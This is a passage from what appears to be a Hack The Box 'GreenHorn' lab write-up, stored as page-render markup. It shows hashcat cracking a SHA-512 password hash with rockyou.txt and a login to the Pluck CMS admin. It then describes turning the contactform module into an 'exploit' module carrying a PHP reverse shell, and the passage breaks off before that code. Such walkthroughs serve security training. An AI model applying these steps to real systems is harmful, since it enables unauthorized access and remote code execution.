sec\n\nd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1\n \nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 1700 (SHA2-512)\nHash.Target......: d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe...790163\nTime.Started.....: Sun Jul 21 06:19:59 2024 (0 secs)\nTime.Estimated...: Sun Jul 21 06:19:59 2024 (0 secs)\nKernel.Feature...: Pure Kernel\nGuess.Base.......: File (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\nGuess.Queue......: 1\u002F1 (100.00%)\nSpeed.#2.........: 1617.5 kH\u002Fs (0.25ms) @ Accel:512 Loops:1 Thr:1 Vec:4\nRecovered........: 1\u002F1 (100.00%) Digests (total), 1\u002F1 (100.00%) Digests (new)\nProgress.........: 2048\u002F14344385 (0.01%)\nRejected.........: 0\u002F2048 (0.00%)\nRestore.Point....: 0\u002F14344385 (0.00%)\nRestore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1\nCandidate.Engine.: Device Generator\nCandidates.#2....: 123456 -> lovers1\n\nStarted: Sun Jul 21 06:19:49 2024\nStopped: Sun Jul 21 06:20:00 2024\n",[25,2529,2530,2534,2552,2560,2564,2617,2622,2633,2637,2656,2661,2670,2674,2697,2715,2719,2746,2781,2789,2793,2801,2808,2815,2822,2829,2836,2843,2850,2857,2861,2872,2904,2942,2975,2979,3005,3021,3025,3048,3052,3081,3088,3095,3102,3109,3116,3120,3125,3130,3138,3146,3157,3165,3190,3211,3221,3232,3243,3257,3283,3294,3305,3315,3329,3340,3355,3359,3376],{"__ignoreMap":23},[28,2531,2532],{"class":30,"line":31},[28,2533,162],{"class":34},[28,2535,2536,2538,2541,2544,2547,2549],{"class":30,"line":38},[28,2537,41],{"class":34},[28,2539,2540],{"class":169}," [★]$ hashcat -a 0 -m 1700 ",[28,2542,2543],{"class":909},"'",[28,2545,2546],{"class":54},"d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163",[28,2548,2543],{"class":909},[28,2550,2551],{"class":169}," \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[28,2553,2554,2557],{"class":30,"line":48},[28,2555,2556],{"class":34},"hashcat",[28,2558,2559],{"class":169}," (v6.2.6) starting\n",[28,2561,2562],{"class":30,"line":58},[28,2563,71],{"emptyLinePlaceholder":70},[28,2565,2566,2569,2572,2575,2578,2581,2584,2587,2590,2593,2596,2599,2602,2605,2608,2611,2614],{"class":30,"line":67},[28,2567,2568],{"class":34},"OpenCL",[28,2570,2571],{"class":54}," API",[28,2573,2574],{"class":169}," (OpenCL ",[28,2576,2577],{"class":201},"3.0",[28,2579,2580],{"class":54}," PoCL",[28,2582,2583],{"class":54}," 3.1+debian",[28,2585,2586],{"class":54}," Linux,",[28,2588,2589],{"class":54}," None+Asserts,",[28,2591,2592],{"class":54}," RELOC,",[28,2594,2595],{"class":54}," SPIR,",[28,2597,2598],{"class":54}," LLVM",[28,2600,2601],{"class":54}," 15.0.6,",[28,2603,2604],{"class":54}," SLEEF,",[28,2606,2607],{"class":54}," DISTRO,",[28,2609,2610],{"class":54}," POCL_DEBUG",[28,2612,2613],{"class":169},") - Platform ",[28,2615,2616],{"class":44},"#1 [The pocl project]\n",[28,2618,2619],{"class":30,"line":74},[28,2620,2621],{"class":54},"==================================================================================================================================================\n",[28,2623,2624,2627,2630],{"class":30,"line":83},[28,2625,2626],{"class":924},"*",[28,2628,2629],{"class":169}," Device ",[28,2631,2632],{"class":44},"#1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped\n",[28,2634,2635],{"class":30,"line":88},[28,2636,71],{"emptyLinePlaceholder":70},[28,2638,2639,2641,2643,2645,2648,2651,2653],{"class":30,"line":94},[28,2640,2568],{"class":34},[28,2642,2571],{"class":54},[28,2644,2574],{"class":169},[28,2646,2647],{"class":201},"2.1",[28,2649,2650],{"class":54}," LINUX",[28,2652,2613],{"class":169},[28,2654,2655],{"class":44},"#2 [Intel(R) Corporation]\n",[28,2657,2658],{"class":30,"line":113},[28,2659,2660],{"class":54},"==================================================================\n",[28,2662,2663,2665,2667],{"class":30,"line":122},[28,2664,2626],{"class":924},[28,2666,2629],{"class":169},[28,2668,2669],{"class":44},"#2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n",[28,2671,2672],{"class":30,"line":131},[28,2673,71],{"emptyLinePlaceholder":70},[28,2675,2676,2679,2682,2685,2688,2691,2694],{"class":30,"line":139},[28,2677,2678],{"class":34},"Minimum",[28,2680,2681],{"class":54}," password",[28,2683,2684],{"class":54}," length",[28,2686,2687],{"class":54}," supported",[28,2689,2690],{"class":54}," by",[28,2692,2693],{"class":54}," kernel:",[28,2695,2696],{"class":201}," 0\n",[28,2698,2699,2702,2704,2706,2708,2710,2712],{"class":30,"line":346},[28,2700,2701],{"class":34},"Maximum",[28,2703,2681],{"class":54},[28,2705,2684],{"class":54},[28,2707,2687],{"class":54},[28,2709,2690],{"class":54},[28,2711,2693],{"class":54},[28,2713,2714],{"class":201}," 256\n",[28,2716,2717],{"class":30,"line":361},[28,2718,71],{"emptyLinePlaceholder":70},[28,2720,2721,2724,2726,2729,2731,2733,2736,2739,2741,2743],{"class":30,"line":376},[28,2722,2723],{"class":34},"Hashes:",[28,2725,234],{"class":201},[28,2727,2728],{"class":54}," digests",[28,2730,910],{"class":909},[28,2732,234],{"class":34},[28,2734,2735],{"class":54}," unique",[28,2737,2738],{"class":54}," digests,",[28,2740,234],{"class":201},[28,2742,2735],{"class":54},[28,2744,2745],{"class":54}," salts\n",[28,2747,2748,2751,2754,2757,2760,2763,2766,2769,2772,2775,2778],{"class":30,"line":400},[28,2749,2750],{"class":34},"Bitmaps:",[28,2752,2753],{"class":201}," 16",[28,2755,2756],{"class":54}," bits,",[28,2758,2759],{"class":201}," 65536",[28,2761,2762],{"class":54}," entries,",[28,2764,2765],{"class":201}," 0x0000ffff",[28,2767,2768],{"class":54}," mask,",[28,2770,2771],{"class":201}," 262144",[28,2773,2774],{"class":54}," bytes,",[28,2776,2777],{"class":54}," 5\u002F13",[28,2779,2780],{"class":54}," rotates\n",[28,2782,2783,2786],{"class":30,"line":431},[28,2784,2785],{"class":34},"Rules:",[28,2787,2788],{"class":201}," 1\n",[28,2790,2791],{"class":30,"line":448},[28,2792,71],{"emptyLinePlaceholder":70},[28,2794,2795,2798],{"class":30,"line":466},[28,2796,2797],{"class":34},"Optimizers",[28,2799,2800],{"class":54}," applied:\n",[28,2802,2803,2805],{"class":30,"line":487},[28,2804,2626],{"class":924},[28,2806,2807],{"class":169}," Zero-Byte\n",[28,2809,2810,2812],{"class":30,"line":503},[28,2811,2626],{"class":924},[28,2813,2814],{"class":169}," Early-Skip\n",[28,2816,2817,2819],{"class":30,"line":519},[28,2818,2626],{"class":924},[28,2820,2821],{"class":169}," Not-Salted\n",[28,2823,2824,2826],{"class":30,"line":548},[28,2825,2626],{"class":924},[28,2827,2828],{"class":169}," Not-Iterated\n",[28,2830,2831,2833],{"class":30,"line":563},[28,2832,2626],{"class":924},[28,2834,2835],{"class":169}," Single-Hash\n",[28,2837,2838,2840],{"class":30,"line":580},[28,2839,2626],{"class":924},[28,2841,2842],{"class":169}," Single-Salt\n",[28,2844,2845,2847],{"class":30,"line":614},[28,2846,2626],{"class":924},[28,2848,2849],{"class":169}," Raw-Hash\n",[28,2851,2852,2854],{"class":30,"line":627},[28,2853,2626],{"class":924},[28,2855,2856],{"class":169}," Uses-64-Bit\n",[28,2858,2859],{"class":30,"line":644},[28,2860,71],{"emptyLinePlaceholder":70},[28,2862,2863,2866,2869],{"class":30,"line":656},[28,2864,2865],{"class":34},"ATTENTION!",[28,2867,2868],{"class":54}," Pure",[28,2870,2871],{"class":169}," (unoptimized) backend kernels selected.\n",[28,2873,2874,2877,2880,2883,2886,2889,2892,2895,2898,2901],{"class":30,"line":672},[28,2875,2876],{"class":34},"Pure",[28,2878,2879],{"class":54}," kernels",[28,2881,2882],{"class":54}," can",[28,2884,2885],{"class":54}," crack",[28,2887,2888],{"class":54}," longer",[28,2890,2891],{"class":54}," passwords,",[28,2893,2894],{"class":54}," but",[28,2896,2897],{"class":54}," drastically",[28,2899,2900],{"class":54}," reduce",[28,2902,2903],{"class":54}," performance.\n",[28,2905,2906,2909,2912,2915,2917,2920,2922,2925,2928,2931,2934,2936,2939],{"class":30,"line":689},[28,2907,2908],{"class":34},"If",[28,2910,2911],{"class":54}," you",[28,2913,2914],{"class":54}," want",[28,2916,1054],{"class":54},[28,2918,2919],{"class":54}," switch",[28,2921,1054],{"class":54},[28,2923,2924],{"class":54}," optimized",[28,2926,2927],{"class":54}," kernels,",[28,2929,2930],{"class":54}," append",[28,2932,2933],{"class":201}," -O",[28,2935,1054],{"class":54},[28,2937,2938],{"class":54}," your",[28,2940,2941],{"class":54}," commandline.\n",[28,2943,2944,2947,2950,2953,2956,2958,2961,2964,2967,2969,2972],{"class":30,"line":700},[28,2945,2946],{"class":34},"See",[28,2948,2949],{"class":54}," the",[28,2951,2952],{"class":54}," above",[28,2954,2955],{"class":54}," message",[28,2957,1054],{"class":54},[28,2959,2960],{"class":54}," find",[28,2962,2963],{"class":54}," out",[28,2965,2966],{"class":54}," about",[28,2968,2949],{"class":54},[28,2970,2971],{"class":54}," exact",[28,2973,2974],{"class":54}," limits.\n",[28,2976,2977],{"class":30,"line":716},[28,2978,71],{"emptyLinePlaceholder":70},[28,2980,2981,2984,2987,2990,2993,2995,2998,3000,3002],{"class":30,"line":733},[28,2982,2983],{"class":34},"Watchdog:",[28,2985,2986],{"class":54}," Hardware",[28,2988,2989],{"class":54}," monitoring",[28,2991,2992],{"class":54}," interface",[28,2994,1211],{"class":54},[28,2996,2997],{"class":54}," found",[28,2999,481],{"class":54},[28,3001,2938],{"class":54},[28,3003,3004],{"class":54}," system.\n",[28,3006,3007,3009,3012,3015,3018],{"class":30,"line":744},[28,3008,2983],{"class":34},[28,3010,3011],{"class":54}," Temperature",[28,3013,3014],{"class":54}," abort",[28,3016,3017],{"class":54}," trigger",[28,3019,3020],{"class":54}," disabled.\n",[28,3022,3023],{"class":30,"line":759},[28,3024,71],{"emptyLinePlaceholder":70},[28,3026,3027,3029,3032,3035,3037,3040,3043,3045],{"class":30,"line":776},[28,3028,779],{"class":34},[28,3030,3031],{"class":54}," memory",[28,3033,3034],{"class":54}," required",[28,3036,208],{"class":54},[28,3038,3039],{"class":54}," this",[28,3041,3042],{"class":54}," attack:",[28,3044,234],{"class":201},[28,3046,3047],{"class":54}," MB\n",[28,3049,3050],{"class":30,"line":809},[28,3051,71],{"emptyLinePlaceholder":70},[28,3053,3054,3057,3060,3063,3066,3069,3072,3075,3078],{"class":30,"line":831},[28,3055,3056],{"class":34},"Dictionary",[28,3058,3059],{"class":54}," cache",[28,3061,3062],{"class":54}," building",[28,3064,3065],{"class":54}," \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt:",[28,3067,3068],{"class":201}," 33553434",[28,3070,3071],{"class":54}," bytes",[28,3073,3074],{"class":169}," (23.9Dictionary ",[28,3076,3077],{"class":54},"cache",[28,3079,3080],{"class":54}," built:\n",[28,3082,3083,3085],{"class":30,"line":854},[28,3084,2626],{"class":924},[28,3086,3087],{"class":169}," Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[28,3089,3090,3092],{"class":30,"line":872},[28,3091,2626],{"class":924},[28,3093,3094],{"class":169}," Passwords.: 14344392\n",[28,3096,3097,3099],{"class":30,"line":921},[28,3098,2626],{"class":924},[28,3100,3101],{"class":169}," Bytes.....: 139921507\n",[28,3103,3104,3106],{"class":30,"line":934},[28,3105,2626],{"class":924},[28,3107,3108],{"class":169}," Keyspace..: 14344385\n",[28,3110,3111,3113],{"class":30,"line":948},[28,3112,2626],{"class":924},[28,3114,3115],{"class":169}," Runtime...: 1 sec\n",[28,3117,3118],{"class":30,"line":959},[28,3119,71],{"emptyLinePlaceholder":70},[28,3121,3122],{"class":30,"line":972},[28,3123,3124],{"class":34},"d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1\n",[28,3126,3127],{"class":30,"line":983},[28,3128,3129],{"class":169}," \n",[28,3131,3132,3135],{"class":30,"line":1010},[28,3133,3134],{"class":34},"Session..........:",[28,3136,3137],{"class":54}," hashcat\n",[28,3139,3140,3143],{"class":30,"line":1020},[28,3141,3142],{"class":34},"Status...........:",[28,3144,3145],{"class":54}," Cracked\n",[28,3147,3148,3151,3154],{"class":30,"line":1043},[28,3149,3150],{"class":34},"Hash.Mode........:",[28,3152,3153],{"class":201}," 1700",[28,3155,3156],{"class":169}," (SHA2-512)\n",[28,3158,3159,3162],{"class":30,"line":1069},[28,3160,3161],{"class":34},"Hash.Target......:",[28,3163,3164],{"class":54}," d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe...790163\n",[28,3166,3167,3170,3173,3175,3177,3180,3182,3185,3188],{"class":30,"line":1086},[28,3168,3169],{"class":34},"Time.Started.....:",[28,3171,3172],{"class":54}," Sun",[28,3174,1483],{"class":54},[28,3176,1480],{"class":201},[28,3178,3179],{"class":54}," 06:19:59",[28,3181,1486],{"class":201},[28,3183,3184],{"class":169}," (0 ",[28,3186,3187],{"class":54},"secs",[28,3189,428],{"class":169},[28,3191,3192,3195,3197,3199,3201,3203,3205,3207,3209],{"class":30,"line":1112},[28,3193,3194],{"class":34},"Time.Estimated...:",[28,3196,3172],{"class":54},[28,3198,1483],{"class":54},[28,3200,1480],{"class":201},[28,3202,3179],{"class":54},[28,3204,1486],{"class":201},[28,3206,3184],{"class":169},[28,3208,3187],{"class":54},[28,3210,428],{"class":169},[28,3212,3213,3216,3218],{"class":30,"line":1130},[28,3214,3215],{"class":34},"Kernel.Feature...:",[28,3217,2868],{"class":54},[28,3219,3220],{"class":54}," Kernel\n",[28,3222,3223,3226,3229],{"class":30,"line":1141},[28,3224,3225],{"class":34},"Guess.Base.......:",[28,3227,3228],{"class":54}," File",[28,3230,3231],{"class":169}," (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\n",[28,3233,3234,3237,3240],{"class":30,"line":1154},[28,3235,3236],{"class":34},"Guess.Queue......:",[28,3238,3239],{"class":54}," 1\u002F1",[28,3241,3242],{"class":169}," (100.00%)\n",[28,3244,3245,3248,3251,3254],{"class":30,"line":1168},[28,3246,3247],{"class":34},"Speed.#2.........:",[28,3249,3250],{"class":201}," 1617.5",[28,3252,3253],{"class":54}," kH\u002Fs",[28,3255,3256],{"class":169}," (0.25ms) @ Accel:512 Loops:1 Thr:1 Vec:4\n",[28,3258,3259,3262,3264,3267,3269,3272,3275,3278,3281],{"class":30,"line":1178},[28,3260,3261],{"class":34},"Recovered........:",[28,3263,3239],{"class":54},[28,3265,3266],{"class":169}," (100.00%) Digests (",[28,3268,422],{"class":34},[28,3270,3271],{"class":169},"), 1\u002F1 (",[28,3273,3274],{"class":34},"100.00%",[28,3276,3277],{"class":169},") Digests (",[28,3279,3280],{"class":34},"new",[28,3282,428],{"class":169},[28,3284,3285,3288,3291],{"class":30,"line":1188},[28,3286,3287],{"class":34},"Progress.........:",[28,3289,3290],{"class":54}," 2048\u002F14344385",[28,3292,3293],{"class":169}," (0.01%)\n",[28,3295,3296,3299,3302],{"class":30,"line":1198},[28,3297,3298],{"class":34},"Rejected.........:",[28,3300,3301],{"class":54}," 0\u002F2048",[28,3303,3304],{"class":169}," (0.00%)\n",[28,3306,3307,3310,3313],{"class":30,"line":1217},[28,3308,3309],{"class":34},"Restore.Point....:",[28,3311,3312],{"class":54}," 0\u002F14344385",[28,3314,3304],{"class":169},[28,3316,3317,3320,3323,3326],{"class":30,"line":1235},[28,3318,3319],{"class":34},"Restore.Sub.#2...:",[28,3321,3322],{"class":54}," Salt:0",[28,3324,3325],{"class":54}," Amplifier:0-1",[28,3327,3328],{"class":54}," Iteration:0-1\n",[28,3330,3331,3334,3337],{"class":30,"line":1245},[28,3332,3333],{"class":34},"Candidate.Engine.:",[28,3335,3336],{"class":54}," Device",[28,3338,3339],{"class":54}," Generator\n",[28,3341,3342,3345,3348,3350,3352],{"class":30,"line":1261},[28,3343,3344],{"class":34},"Candidates.#2....:",[28,3346,3347],{"class":201}," 123456",[28,3349,1063],{"class":169},[28,3351,1603],{"class":924},[28,3353,3354],{"class":54}," lovers1\n",[28,3356,3357],{"class":30,"line":1278},[28,3358,71],{"emptyLinePlaceholder":70},[28,3360,3361,3364,3366,3368,3370,3373],{"class":30,"line":1301},[28,3362,3363],{"class":34},"Started:",[28,3365,3172],{"class":54},[28,3367,1483],{"class":54},[28,3369,1480],{"class":201},[28,3371,3372],{"class":54}," 06:19:49",[28,3374,3375],{"class":201}," 2024\n",[28,3377,3378,3381,3383,3385,3387,3390],{"class":30,"line":1312},[28,3379,3380],{"class":34},"Stopped:",[28,3382,3172],{"class":54},[28,3384,1483],{"class":54},[28,3386,1480],{"class":201},[28,3388,3389],{"class":54}," 06:20:00",[28,3391,3375],{"class":201},[11,3393,3394],{},"I was then able to log in to the Plug website with the password.",[11,3396,3397],{},"Plug can be extended by modules. These modules are based on PHP. The modules can be uploaded and installed via the admin page. So the next step was to download the Greenhorn Repository from Gitea.",[11,3399,3400],{},[2485,3401],{"alt":23,"src":3402},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724211511731.webp",[15,3404,3405],{},[18,3406,3408],{"className":20,"code":3407,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ git clone http:\u002F\u002Fgreenhorn.htb:3000\u002FGreenAdmin\u002FGreenHorn.git\nCloning into 'GreenHorn'...\nremote: Enumerating objects: 517, done.\nremote: Counting objects: 100% (517\u002F517), done.\nremote: Compressing objects: 100% (395\u002F395), done.\nremote: Total 517 (delta 60), reused 517 (delta 60), pack-reused 0\nReceiving objects: 100% (517\u002F517), 1.06 MiB | 18.79 MiB\u002Fs, done.\nResolving deltas: 100% (60\u002F60), done.\n",[25,3409,3410,3414,3421,3439,3456,3471,3485,3513,3535],{"__ignoreMap":23},[28,3411,3412],{"class":30,"line":31},[28,3413,162],{"class":34},[28,3415,3416,3418],{"class":30,"line":38},[28,3417,41],{"class":34},[28,3419,3420],{"class":169}," [★]$ git clone http:\u002F\u002Fgreenhorn.htb:3000\u002FGreenAdmin\u002FGreenHorn.git\n",[28,3422,3423,3426,3429,3432,3434,3436],{"class":30,"line":48},[28,3424,3425],{"class":34},"Cloning",[28,3427,3428],{"class":54}," into",[28,3430,3431],{"class":909}," '",[28,3433,1606],{"class":54},[28,3435,2543],{"class":909},[28,3437,3438],{"class":54},"...\n",[28,3440,3441,3444,3447,3450,3453],{"class":30,"line":58},[28,3442,3443],{"class":34},"remote:",[28,3445,3446],{"class":54}," Enumerating",[28,3448,3449],{"class":54}," objects:",[28,3451,3452],{"class":54}," 517,",[28,3454,3455],{"class":54}," done.\n",[28,3457,3458,3460,3463,3465,3468],{"class":30,"line":67},[28,3459,3443],{"class":34},[28,3461,3462],{"class":54}," Counting",[28,3464,3449],{"class":54},[28,3466,3467],{"class":54}," 100%",[28,3469,3470],{"class":169}," (517\u002F517), done.\n",[28,3472,3473,3475,3478,3480,3482],{"class":30,"line":74},[28,3474,3443],{"class":34},[28,3476,3477],{"class":54}," Compressing",[28,3479,3449],{"class":54},[28,3481,3467],{"class":54},[28,3483,3484],{"class":169}," (395\u002F395), done.\n",[28,3486,3487,3489,3492,3495,3498,3501,3504,3507,3510],{"class":30,"line":83},[28,3488,3443],{"class":34},[28,3490,3491],{"class":54}," Total",[28,3493,3494],{"class":201}," 517",[28,3496,3497],{"class":169}," (delta ",[28,3499,3500],{"class":201},"60",[28,3502,3503],{"class":169},"), reused 517 (",[28,3505,3506],{"class":34},"delta",[28,3508,3509],{"class":201}," 60",[28,3511,3512],{"class":169},"), pack-reused 0\n",[28,3514,3515,3518,3520,3522,3525,3527,3530,3533],{"class":30,"line":88},[28,3516,3517],{"class":34},"Receiving",[28,3519,3449],{"class":54},[28,3521,3467],{"class":54},[28,3523,3524],{"class":169}," (517\u002F517), 1.06 MiB ",[28,3526,925],{"class":924},[28,3528,3529],{"class":34}," 18.79",[28,3531,3532],{"class":54}," MiB\u002Fs,",[28,3534,3455],{"class":54},[28,3536,3537,3540,3543,3545],{"class":30,"line":94},[28,3538,3539],{"class":34},"Resolving",[28,3541,3542],{"class":54}," deltas:",[28,3544,3467],{"class":54},[28,3546,3547],{"class":169}," (60\u002F60), done.\n",[11,3549,3550],{},"In the cloned repo history, I then copied the “contactform” module and renamed it “exploit”.\nIn the folder, I renamed the file “contactform.php” to “exploit.php” and I have renamed the file “contactform.site.php” to “exploit.site.php”. I then replaced the content of the “exploit.php” file with a PHP reverse shell.",[11,3552,3553],{},"Content of exploit.php (contactform.php) before:",[15,3555,3556],{},[18,3557,3559],{"className":20,"code":3558,"language":22,"meta":23,"style":23},"\u003C?php\n\u002F*\n * This file is part of pluck, the easy content management system\n * Copyright (c) pluck team\n * http:\u002F\u002Fwww.pluck-cms.org\n\n * Pluck is free software: you can redistribute it and\u002For modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n\n * See docs\u002FCOPYING for the complete license.\n*\u002F\n\n\u002F\u002FMake sure the file isn't accessed directly.\ndefined('IN_PLUCK') or exit('Access denied!');\n\nfunction contactform_info() {\n global $lang;\n return array(\n 'name' => $lang['contactform']['module_name'],\n 'intro' => $lang['contactform']['module_intro'],\n 'version' => '0.2',\n 'author' => $lang['general']['pluck_dev_team'],\n 'website' => 'http:\u002F\u002Fwww.pluck-cms.org',\n 'icon' => 'images\u002Fcontactform.png',\n 'compatibility' => '4.7'\n );\n}\n?>\n",[25,3560,3561,3569,3574,3609,3619,3626,3630,3661,3700,3733,3749,3753,3773,3780,3784,3804,3832,3836,3841,3846,3851,3884,3913,3935,3965,3985,4006,4026,4031,4036],{"__ignoreMap":23},[28,3562,3563,3566],{"class":30,"line":31},[28,3564,3565],{"class":924},"\u003C?",[28,3567,3568],{"class":169},"php\n",[28,3570,3571],{"class":30,"line":38},[28,3572,3573],{"class":34},"\u002F*\n",[28,3575,3576,3579,3582,3585,3587,3590,3592,3595,3597,3600,3603,3606],{"class":30,"line":48},[28,3577,3578],{"class":34}," *",[28,3580,3581],{"class":54}," This",[28,3583,3584],{"class":54}," file",[28,3586,782],{"class":54},[28,3588,3589],{"class":54}," part",[28,3591,1106],{"class":54},[28,3593,3594],{"class":54}," pluck,",[28,3596,2949],{"class":54},[28,3598,3599],{"class":54}," easy",[28,3601,3602],{"class":54}," content",[28,3604,3605],{"class":54}," management",[28,3607,3608],{"class":54}," system\n",[28,3610,3611,3613,3616],{"class":30,"line":58},[28,3612,3578],{"class":34},[28,3614,3615],{"class":54}," Copyright",[28,3617,3618],{"class":169}," (c) pluck team\n",[28,3620,3621,3623],{"class":30,"line":67},[28,3622,3578],{"class":34},[28,3624,3625],{"class":54}," http:\u002F\u002Fwww.pluck-cms.org\n",[28,3627,3628],{"class":30,"line":74},[28,3629,71],{"emptyLinePlaceholder":70},[28,3631,3632,3634,3637,3639,3642,3645,3647,3649,3652,3655,3658],{"class":30,"line":83},[28,3633,3578],{"class":34},[28,3635,3636],{"class":54}," Pluck",[28,3638,782],{"class":54},[28,3640,3641],{"class":54}," free",[28,3643,3644],{"class":54}," software:",[28,3646,2911],{"class":54},[28,3648,2882],{"class":54},[28,3650,3651],{"class":54}," redistribute",[28,3653,3654],{"class":54}," it",[28,3656,3657],{"class":54}," and\u002For",[28,3659,3660],{"class":54}," modify\n",[28,3662,3663,3665,3667,3670,3672,3675,3677,3679,3682,3685,3688,3691,3694,3697],{"class":30,"line":88},[28,3664,3578],{"class":34},[28,3666,3654],{"class":54},[28,3668,3669],{"class":54}," under",[28,3671,2949],{"class":54},[28,3673,3674],{"class":54}," terms",[28,3676,1106],{"class":54},[28,3678,2949],{"class":54},[28,3680,3681],{"class":54}," GNU",[28,3683,3684],{"class":54}," General",[28,3686,3687],{"class":54}," Public",[28,3689,3690],{"class":54}," License",[28,3692,3693],{"class":54}," as",[28,3695,3696],{"class":54}," published",[28,3698,3699],{"class":54}," by\n",[28,3701,3702,3704,3706,3709,3712,3715,3718,3721,3723,3725,3727,3730],{"class":30,"line":94},[28,3703,3578],{"class":34},[28,3705,2949],{"class":54},[28,3707,3708],{"class":54}," Free",[28,3710,3711],{"class":54}," Software",[28,3713,3714],{"class":54}," Foundation,",[28,3716,3717],{"class":54}," either",[28,3719,3720],{"class":54}," version",[28,3722,327],{"class":201},[28,3724,1106],{"class":54},[28,3726,2949],{"class":54},[28,3728,3729],{"class":54}," License,",[28,3731,3732],{"class":54}," or\n",[28,3734,3735,3737,3740,3743,3746],{"class":30,"line":113},[28,3736,3578],{"class":34},[28,3738,3739],{"class":169}," (at ",[28,3741,3742],{"class":54},"your",[28,3744,3745],{"class":54}," option",[28,3747,3748],{"class":169},") any later version.\n",[28,3750,3751],{"class":30,"line":122},[28,3752,71],{"emptyLinePlaceholder":70},[28,3754,3755,3757,3760,3763,3765,3767,3770],{"class":30,"line":131},[28,3756,3578],{"class":34},[28,3758,3759],{"class":54}," See",[28,3761,3762],{"class":54}," docs\u002FCOPYING",[28,3764,208],{"class":54},[28,3766,2949],{"class":54},[28,3768,3769],{"class":54}," complete",[28,3771,3772],{"class":54}," license.\n",[28,3774,3775,3777],{"class":30,"line":139},[28,3776,2626],{"class":924},[28,3778,3779],{"class":169},"\u002F\n",[28,3781,3782],{"class":30,"line":346},[28,3783,71],{"emptyLinePlaceholder":70},[28,3785,3786,3789,3792,3794,3796,3799,3801],{"class":30,"line":361},[28,3787,3788],{"class":34},"\u002F\u002FMake",[28,3790,3791],{"class":54}," sure",[28,3793,2949],{"class":54},[28,3795,3584],{"class":54},[28,3797,3798],{"class":54}," isn",[28,3800,2543],{"class":909},[28,3802,3803],{"class":54},"t accessed directly.\n",[28,3805,3806,3809,3811,3814,3816,3819,3821,3824,3827,3829],{"class":30,"line":376},[28,3807,3808],{"class":54},"defined(",[28,3810,2543],{"class":909},[28,3812,3813],{"class":54},"IN_PLUCK",[28,3815,2543],{"class":909},[28,3817,3818],{"class":54},") or exit(",[28,3820,2543],{"class":909},[28,3822,3823],{"class":54},"Access",[28,3825,3826],{"class":54}," denied!",[28,3828,2543],{"class":909},[28,3830,3831],{"class":54},");\n",[28,3833,3834],{"class":30,"line":400},[28,3835,71],{"emptyLinePlaceholder":70},[28,3837,3838],{"class":30,"line":431},[28,3839,3840],{"class":54},"function contactform_info() {\n",[28,3842,3843],{"class":30,"line":448},[28,3844,3845],{"class":54}," global $lang;\n",[28,3847,3848],{"class":30,"line":466},[28,3849,3850],{"class":54}," return array(\n",[28,3852,3853,3856,3859,3861,3864,3866,3869,3871,3874,3876,3879,3881],{"class":30,"line":487},[28,3854,3855],{"class":909}," '",[28,3857,3858],{"class":54},"name",[28,3860,2543],{"class":909},[28,3862,3863],{"class":54}," => $lang[",[28,3865,2543],{"class":909},[28,3867,3868],{"class":54},"contactform",[28,3870,2543],{"class":909},[28,3872,3873],{"class":54},"][",[28,3875,2543],{"class":909},[28,3877,3878],{"class":54},"module_name",[28,3880,2543],{"class":909},[28,3882,3883],{"class":54},"],\n",[28,3885,3886,3888,3891,3893,3896,3898,3900,3902,3904,3906,3909,3911],{"class":30,"line":503},[28,3887,3855],{"class":909},[28,3889,3890],{"class":54},"intro",[28,3892,2543],{"class":909},[28,3894,3895],{"class":54}," => $lang[",[28,3897,2543],{"class":909},[28,3899,3868],{"class":54},[28,3901,2543],{"class":909},[28,3903,3873],{"class":54},[28,3905,2543],{"class":909},[28,3907,3908],{"class":54},"module_intro",[28,3910,2543],{"class":909},[28,3912,3883],{"class":54},[28,3914,3915,3917,3920,3922,3925,3927,3930,3932],{"class":30,"line":519},[28,3916,3855],{"class":909},[28,3918,3919],{"class":54},"version",[28,3921,2543],{"class":909},[28,3923,3924],{"class":54}," => ",[28,3926,2543],{"class":909},[28,3928,3929],{"class":54},"0.2",[28,3931,2543],{"class":909},[28,3933,3934],{"class":54},",\n",[28,3936,3937,3939,3942,3944,3947,3949,3952,3954,3956,3958,3961,3963],{"class":30,"line":548},[28,3938,3855],{"class":909},[28,3940,3941],{"class":54},"author",[28,3943,2543],{"class":909},[28,3945,3946],{"class":54}," => $lang[",[28,3948,2543],{"class":909},[28,3950,3951],{"class":54},"general",[28,3953,2543],{"class":909},[28,3955,3873],{"class":54},[28,3957,2543],{"class":909},[28,3959,3960],{"class":54},"pluck_dev_team",[28,3962,2543],{"class":909},[28,3964,3883],{"class":54},[28,3966,3967,3969,3972,3974,3976,3978,3981,3983],{"class":30,"line":563},[28,3968,3855],{"class":909},[28,3970,3971],{"class":54},"website",[28,3973,2543],{"class":909},[28,3975,3924],{"class":54},[28,3977,2543],{"class":909},[28,3979,3980],{"class":54},"http:\u002F\u002Fwww.pluck-cms.org",[28,3982,2543],{"class":909},[28,3984,3934],{"class":54},[28,3986,3987,3989,3992,3994,3997,3999,4002,4004],{"class":30,"line":580},[28,3988,3855],{"class":909},[28,3990,3991],{"class":54},"icon",[28,3993,2543],{"class":909},[28,3995,3996],{"class":54}," => 